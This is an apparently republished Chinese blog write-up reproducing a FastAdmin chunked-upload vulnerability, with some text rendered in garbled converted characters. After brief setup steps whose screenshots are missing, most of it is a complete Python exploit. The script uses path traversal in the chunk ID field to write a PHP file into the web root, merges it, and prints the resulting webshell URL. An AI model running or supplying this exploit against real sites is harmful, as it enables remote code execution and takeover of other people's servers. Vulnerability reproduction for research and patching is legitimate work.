參考鏈接：

fastadmin安裝

fastadmin安裝

前臺分片漏洞復現(xiàn)：

https://blog.csdn.net/weixin_43288600/article/details/121192252

https://blog.csdn.net/u013921288/article/details/117670844

https://xz.aliyun.com/t/9395

FastAdmin最新RCE漏洞復現(xiàn)

https://www.secpulse.com/archives/157307.html

搭建好環(huán)境后，查看服務(wù)器ip：

注冊賬號，在上傳頁面進行抓包：

數(shù)據(jù)包如下：

發(fā)送到repeater：

構(gòu)造分片數(shù)據(jù)包并發(fā)送：

可以發(fā)現(xiàn)在chunk文件夾下發(fā)現(xiàn)php文件已經(jīng)成功上傳。

測試發(fā)現(xiàn)，設(shè)定網(wǎng)站的根目錄為?/public?之后就無法訪問 ?runtime/chunks?下的文件，因此將上傳文件路徑改為

再次發(fā)送數(shù)據(jù)包，在根目錄下成功上傳文件：

訪問成功，可以顯示php文件中的內(nèi)容。

撰寫利用代碼并在kali中執(zhí)行：

瀏覽器訪問webshel路徑

Webshell上傳成功

exp：文章來源地址http://www.zghlxwxcb.cn/news/detail-466028.html

import sys
import requests
from time import time
from json import loads

headers = {
	'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36',
}

def banner():
	RED = '\033[31m'
	print(f"""
		{RED}  _____         _      _       _           _       
 |  ___|_ _ ___| |_   / \   __| |_ __ ___ (_)_ __  
 | |_ / _` / __| __| / _ \ / _` | '_ ` _ \| | '_ \ 
 |  _| (_| \__ \ |_ / ___ \ (_| | | | | | | | | | |
 |_|  \__,_|___/\__/_/   \_\__,_|_| |_| |_|_|_| |_|
                         Author: Search?=Null                          
	""")

def upload_chunk(url):
	upload_url = url.rstrip('/') + '/index/ajax/upload'
	file = {
		'file': ('%d.php' % time(), open('hhh.php', 'rb'), 'application/octet-stream')
	}
	chunk_id = time()
	data_ = {
		'chunkid': '../../public/%d.php' % chunk_id,
		'chunkindex': 0,
		'chunkcount': 1
	}
	resp = requests.post(
		upload_url,
		headers = headers,
		files = file,
		data = data_
	)
	result = loads(resp.text)
	if result['code'] == 1 and result['msg'] == '' and result['data'] == None:
		merge_file(upload_url, chunk_id)
		print('\nWebshell: %s/%d.php' % (url.rstrip('/'), chunk_id))
	elif result['msg'] != '':
                print(f"Not Vulnerability, {result['msg']}.")
	else:
		print('Not Vulnerability.')

def merge_file(url, chunk_id):
	data_ = {
		'action': 'merge',
		'chunkid': '../../public/%d.php' % chunk_id,
		'chunkindex': 0,
		'chunkcount': 1,
		'filename': '%d.php-0.part' % chunk_id
	}
	resp = requests.post(
		url,
		headers = headers,
		data = data_
	)

def main():
	global headers
	banner()
	if len(sys.argv) == 2:
		try:
			headers['Cookie'] = input('Cookie > ')
			upload_chunk(sys.argv[1])
		except Exception as e:
			print(e)
	else:
		print('Usage: python3 FastAdmin.py url')

if __name__ == "__main__":
	main()

到了這里，關(guān)于fastadmin前臺分片漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！